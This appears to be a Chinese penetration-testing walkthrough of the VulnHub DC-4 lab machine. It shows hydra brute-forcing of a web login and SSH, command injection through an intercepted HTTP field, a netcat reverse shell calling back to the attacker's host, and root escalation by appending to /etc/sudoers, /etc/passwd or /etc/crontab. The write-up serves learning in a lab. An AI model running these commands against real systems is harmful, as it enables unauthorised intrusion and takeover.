基本配置
靶机是从VulnHub上下载的DC 4:
攻击机为Kali2020.3
信息收集
Kali的网络设置如下:
老惯例,先对虚拟局域网进行扫描,网段为192.168.187.0/24
发现主机192.168.187.137,进一步进行详细的扫描:
然而并没有更多的发现,那就打开浏览器访问一下:
从Wappalyzer插件可以看出这应该就只是一个简单的登录服务器。
顺便searchsploit一下:
searchsploit nginx 1.15.10 # 加版本号搜更精确的漏洞
并没有什么收获。信息收集大概也就到此为止了。
密码爆破
既然这是一个登陆页面,那首先就用hydra进行一次爆破。
网站的主页提示这是一个管理员登录的界面,那首先先将可能的管理员用户名存在dc4users.txt里面备用:
至于密码字典,这回我准备试一试kali自带的密码字典rockyou.txt,在/usr/share/wordlists下面可以找到rockyou.txt.gz压缩包:
先把这个包解压缩到主目录方便今后使用,解压后的rockyou.txt有133.4MB大小,在大多数的弱密码情况下都够用了。
准备好这个密码字典后,下面就用hydra进行爆破。查看网页源码可以看到,提交用户名和密码的方法是HTTP POST方法,用户名变量叫username,密码变量叫password:
hydra -L <用户名列表> -P <密码字典> <IP> http-post-form "/<登陆页面>:<用户名变量>=^USER^&<密码变量>=^PASS^:<自定义错误提示信息>" <选项> #hydra破解http post类密码提交的语法
hydra -L dc4users.txt -P rockyou.txt 192.168.187.137 http-post-form "/login.php:username=^USER^&password=^PASS^:no"
得到了一个合法的组合,用来登陆一下试试:
成功登录
进入靶机
登录之后,点击command看看能干什么:
好像是可以执行命令啊。一个一个执行发现这个应该是选择在服务器根目录执行的命令,有点好奇命令是怎么发送过去的,抓个包看看。
先用wireshark抓个包看看,只关注HTTP协议部分:
这个网站实现的原理似乎是将要执行的命令明文传送给服务器执行,那我只要修改这个命令,就相当于在服务器上进行操作了。
要修改并重放HTTP报文,我选择使用burpsuite进行操作。先设置浏览器的HTTP代理为127.0.0.1:8080(burpsuite使用8080端口)
设置好之后就可以在burpsuite进行操作了。
先把ratio改成whoami试试:
再按照惯例看看当前的环境变量和所处的位置:
感觉好麻烦,想着干脆回弹一个shell方便操作算了。下面用nc回弹一个shell
现在Kali上监听4444端口:
nc -lvp 4444
在发送的HTTP报文中将ratio字段置为:
nc -e /bin/bash 192.168.187.130 4444
注意burpsuite里要把所有空格换成’+’
发送这个修改后的报文,得到回弹的shell
nc的基本使用
这里用到了就顺便总结一下到此为止我了解到的nc的使用方法把,如有错误,还望大佬指正
-
nc是什么:nc全称netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流。可运行在TCP或者UDP模式,添加参数 -u 则调整为UDP,默认为TCP
-
常用参数:
-l # 开始监听
-p # 指定某个端口
-e # 指定应用程序(回弹shell很常用)
-v # 显示详细的输出
-
建立连接:
# server设置
nc -lvp <端口号>
# client设置
nc -v <serverIP地址> <端口号> -
正向回弹shell:
# 要回弹shell的主机设置
nc -lvp <端口号> -e /bin/sh (bash)
# 接受回弹的shell的主机设置
nc <目标主机IP> <端口号>可见,所谓正向回弹就是攻击机主动连接目标,建立连接后目标将shell弹给攻击机
-
反向回弹shell:
# 要回弹shell的主机设置
nc -e /bin/sh (bash) <攻击机IP> <端口号>
# 接受回弹的shell的主机设置
nc -lvp <端口号>可见,所谓反向回弹就是目标主动连接攻击机,建立连接后目标将shell弹给攻击机
横向渗透
既然已经进入了主机,那么现在就看看/home目录下有些什么吧:
发现了三个目录,一个一个看过去,只有jim的目录里有点东西:
mbox暂时无法操作,test.sh似乎是jim学习shell编程的小程序?而在剩下的backups目录下,有一个old-passwords.bak文件,打开看看发现是一大堆疑似密码的东西,先拷贝下来保存到dc4Oldpass.txt文件中:
显然这个不会是用来登录网站的密码,那就只有看看SSH了。
用hydra爆破jim的ssh密码:
hydra -l <用户名> -P <密码字典> ssh://<IP地址> # 用hydra爆破某个用户ssh登陆密码的语法
hydra -l jim -P dc4Oldpass.txt ssh://192.168.187.137
得到jim的SSH登陆密码后,下一步自然使用jim的身份进行ssh登录了:
ssh -l jim 192.168.187.137
还是老惯例,先看看当前shell的环境:
很正常,那现在去看看那个之前没法操作的mbox吧:
原来mbox是一封管理员发给jim的测试邮件,既然有了邮件,那可以去/var/mail目录下看看有没有其他的邮件:
似乎charles把自己的密码交给jim保管了,那就切换到charles看看:
提权
切换到charles的账户之后,还是先看看shell的环境:
没啥特别的。其他四处找找也没有发现更多有价值的线索,那这一步应该需要提权到root了。
回顾一下之前的提权方法:
-
利用自带root权限的指令提权
-
利用不需要密码进行sudo的指令提权
-
利用内核漏洞提权
针对这几种方式,先收集一点信息:
-
自带root权限的指令:
find / -user root -perm -4000 -print 2>/dev/null
看一下好像没有可以利用的
-
不需要密码进行sudo的指令
发现有一条teehee指令可以利用
-
内核漏洞:
searchsploit一下:
似乎没有可以利用的漏洞。
综合来看,应该要用那个teehee指令进行提权。
之前没接触过这个teehee指令,先–help一下看看用法:
发现这个指令有个-a选项可以向文件末尾写内容,那么思路已经明确了,通过sudo teehee -a 修改某个文件赋予charles root权限
在网上搜索了一下,我找到了三种方法,现展示如下:
-
修改/etc/sudoers(我使用的方法):
这个文件,顾名思义是配置允许哪些用户在不输入密码的情况下使用所有指令。事实上/etc/sudoers文件设置为允许用户在不输入该用户的密码的情况下使用所有命令。简单点来说,该文件可以配置用户使得其使用sudo指令时拥有与root相当的权限。
那接下来的事就简单了,先用本机看看文件的语法:
那接下来就用teehee在文件末尾添加我们的内容:
sudo teehee -a /etc/sudoers
charles ALL=(ALL:ALL) ALL # 需要写的内容接下来就可以切换到root权限了:
获得flag!
-
修改/etc/passwd:
在本机上查看/etc/passwd文件如下:
/etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:
<用户名>:<口令>:<用户标识号>:<组标识号>:<注释性描述>:<主目录>:<登录Shell>
设置一个具有root权限的aaa账户再登录没有密码的aaa账户即可得到root权限。
-
修改/etc/crontab
先打开本机的/etc/cromtab文件看看:
系统调度的任务一般存放在/etc/crontab这个文件下,里面存放了一些系统运行的调度程序。接下来可以依葫芦画瓢地写一行内容进去
再切换到/bin/sh
就获得了root权限。
参考链接:
总结
这一次能够明显地感觉到自己对一些比较简单的情况更加熟练了,至少对于一个问题有了比较系统的思考方向。
总结一下这一次入侵DC 4地过程:
学到的新知识:
-
捡起来了很久不用的burpsuite
-
hydra使用更熟练了
-
学习了怎么使用nc,以及如何用nc反弹shell
-
稍微认识了一下Linux下的邮件系统
-
几个配置文件/etc/sudoers 、/etc/passwd以及/etc/crontab的作用
还需学习的知识:
-
Linux系统的知识比较欠缺,需要继续学习
来源:freebuf.com 2020-10-31 15:40:23 by: FFFcaptain328
请登录后发表评论
注册